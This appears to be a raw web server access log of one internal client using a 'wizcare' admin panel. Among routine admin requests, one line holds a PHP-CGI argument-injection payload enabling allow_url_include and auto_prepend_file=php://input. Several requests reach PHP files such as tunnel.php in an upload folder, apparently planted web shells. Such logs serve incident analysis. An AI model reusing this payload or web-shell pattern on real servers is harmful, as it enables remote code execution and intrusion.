[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/toolbar/settings.gif HTTP/1.1" 236
[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/toolbar/help.gif HTTP/1.1" 215
[03/Dec/2024:09:48:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckfinder/skins/kama/images/toolbar/view.gif HTTP/1.1" 170
[03/Dec/2024:09:49:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/addstaff.php HTTP/1.1" 134
[03/Dec/2024:09:49:22 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php?staid=10&oper=edit HTTP/1.1" 8357
[03/Dec/2024:09:49:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:09:49:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:49:23 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:49:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/delstaff.php?atype=o&staid=10 HTTP/1.1" 3
[03/Dec/2024:09:49:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php?staid=10 HTTP/1.1" 8304
[03/Dec/2024:09:49:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:49:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:49:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/jmyjh.php HTTP/1.1" -
[03/Dec/2024:09:49:53 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:50:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/jmyjh.php HTTP/1.1" -
[03/Dec/2024:09:50:01 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:51:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /health HTTP/1.1" 305
[03/Dec/2024:09:52:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/logout.php HTTP/1.1" -
[03/Dec/2024:09:52:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:09:54:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1" 305
[03/Dec/2024:09:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 82
[03/Dec/2024:09:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:09:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:09:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:54:56 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:54:57 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:09:56:29 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST / HTTP/1.1" -
[03/Dec/2024:09:56:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:56:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/jmyjh.php HTTP/1.1" -
[03/Dec/2024:09:56:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:57:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/plugins/wsc/icons/hidpi/spellchecker.png HTTP/1.1" 2816
[03/Dec/2024:09:57:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/_thumbs/Files/test.txt HTTP/1.1" -
[03/Dec/2024:09:57:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/_thumbs/Files/tejst.txt HTTP/1.1" -
[03/Dec/2024:09:57:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:58:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/newedit.php HTTP/1.1" 7785
[03/Dec/2024:09:58:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[03/Dec/2024:09:58:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:58:19 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:58:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:09:58:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:58:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:58:26 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:09:59:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin HTTP/1.1" 350
[03/Dec/2024:09:59:31 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/ HTTP/1.1" 985
[03/Dec/2024:09:59:33 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/data/ HTTP/1.1" 1000
[03/Dec/2024:09:59:34 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/data/img/ HTTP/1.1" 1017
[03/Dec/2024:09:59:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/data/img/uploads/ HTTP/1.1" 1035
[03/Dec/2024:09:59:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /admin/data/img/uploads/cache/ HTTP/1.1" 2520
[03/Dec/2024:09:59:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:09:59:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:09:59:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:09:59:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:09:59:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:09:59:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:09:59:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/logout.php HTTP/1.1" -
[03/Dec/2024:09:59:51 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:10:00:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 79
[03/Dec/2024:10:00:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:00:07 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1513
[03/Dec/2024:10:00:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:00:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 472
[03/Dec/2024:10:00:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:00:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 152
[03/Dec/2024:10:00:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/logout.php HTTP/1.1" -
[03/Dec/2024:10:00:21 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:10:01:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:10:01:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[03/Dec/2024:10:01:38 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[03/Dec/2024:10:01:39 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:01:52 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 562
[03/Dec/2024:10:02:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 82
[03/Dec/2024:10:02:13 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:02:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/jquery-ui.min.css HTTP/1.1" 14900
[03/Dec/2024:10:02:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ui.jqgrid.min.css HTTP/1.1" 12929
[03/Dec/2024:10:02:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-skins.min.css HTTP/1.1" 77952
[03/Dec/2024:10:02:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:10:02:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[03/Dec/2024:10:02:14 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:02:15 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:10:03:59 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/upload/files/tunnel.php HTTP/1.1" 1476
[03/Dec/2024:10:04:00 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 1492
[03/Dec/2024:10:04:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[03/Dec/2024:10:04:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:10:04:08 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:04:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:10:04:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[03/Dec/2024:10:04:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[03/Dec/2024:10:04:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[03/Dec/2024:10:04:43 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
[03/Dec/2024:10:04:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-rtl.min.css HTTP/1.1" 116806
[03/Dec/2024:10:04:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery-2.1.4.min.js HTTP/1.1" 84380
[03/Dec/2024:10:04:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/images/pattern.jpg HTTP/1.1" 7080
[03/Dec/2024:10:04:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/fonts/fontawesome-webfont.woff2?v=4.5.0 HTTP/1.1" 66624
[03/Dec/2024:10:04:44 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/actionlogin.php HTTP/1.1" 82
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/jquery-ui.min.css HTTP/1.1" 14900
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ui.jqgrid.min.css HTTP/1.1" 12929
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-extra.min.js HTTP/1.1" 6241
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace-skins.min.css HTTP/1.1" 77952
[03/Dec/2024:10:04:48 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/bootstrap.min.js HTTP/1.1" 36868
[03/Dec/2024:10:04:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/jquery.jqGrid.min.js HTTP/1.1" 311063
[03/Dec/2024:10:04:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/grid.locale-en.js HTTP/1.1" 3935
[03/Dec/2024:10:04:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace-elements.min.js HTTP/1.1" 41077
[03/Dec/2024:10:04:49 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/js/ace.min.js HTTP/1.1" 55785
[03/Dec/2024:10:04:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:04:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:04:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:04:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:04:50 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:10:05:24 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/stafflist.php HTTP/1.1" 20744
[03/Dec/2024:10:05:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:05:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:05:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:05:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:05:25 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_staff.php HTTP/1.1" 967
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/staffedit.php?staid=8&oper=edit HTTP/1.1" 9801
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style.css HTTP/1.1" 29795
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/responsive.css HTTP/1.1" 11762
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/change.css HTTP/1.1" 3489
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/wow.min.js HTTP/1.1" 7058
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/javascript/main.js HTTP/1.1" 5709
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/reset.css HTTP/1.1" 12302
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/font-awesome.min.css HTTP/1.1" 31028
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/ckeditor.js HTTP/1.1" 531276
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/animate.css HTTP/1.1" 5026
[03/Dec/2024:10:05:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/style/swiper.css HTTP/1.1" 21248
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/config.js?t=EAPE HTTP/1.1" 1497
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/include/stylesheet/fonts/fontawesome-webfont3e6e.woff2?v=4.7.0 HTTP/1.1" 77160
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/editor.css?t=EAPE HTTP/1.1" 46357
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/lang/zh-cn.js?t=EAPE HTTP/1.1" 16579
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/styles.js?t=EAPE HTTP/1.1" 3605
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/contents.css?t=EAPE HTTP/1.1" 307
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ckeditor/skins/moono/icons.png HTTP/1.1" 20833
[03/Dec/2024:10:05:28 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/images/title-h5.svg HTTP/1.1" 2142
[03/Dec/2024:10:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22391
[03/Dec/2024:10:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/topmenu.php HTTP/1.1" 1509
[03/Dec/2024:10:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/getusergrup.php HTTP/1.1" -
[03/Dec/2024:10:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/rmenu.php HTTP/1.1" 10168
[03/Dec/2024:10:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:06:09 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "POST /wizcare/admin/get_users.php HTTP/1.1" 1414
[03/Dec/2024:10:08:16 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/users.php HTTP/1.1" 22679
[03/Dec/2024:10:08:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:10:08:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:08:27 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /favicon.ico HTTP/1.1" 2066
[03/Dec/2024:10:08:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET / HTTP/1.1" -
[03/Dec/2024:10:08:30 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /home/ HTTP/1.1" 16
[03/Dec/2024:10:08:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/ HTTP/1.1" 63
[03/Dec/2024:10:08:35 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/login.php HTTP/1.1" 9089
[03/Dec/2024:10:08:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/bootstrap.min.css HTTP/1.1" 115813
[03/Dec/2024:10:08:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/font-awesome/4.5.0/css/font-awesome.min.css HTTP/1.1" 27466
[03/Dec/2024:10:08:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/fonts.googleapis.com.css HTTP/1.1" 494
[03/Dec/2024:10:08:36 +0800] 10.100.1.254 TLSv1.3 TLS_AES_256_GCM_SHA384 "GET /wizcare/admin/assets/css/ace.min.css HTTP/1.1" 396938
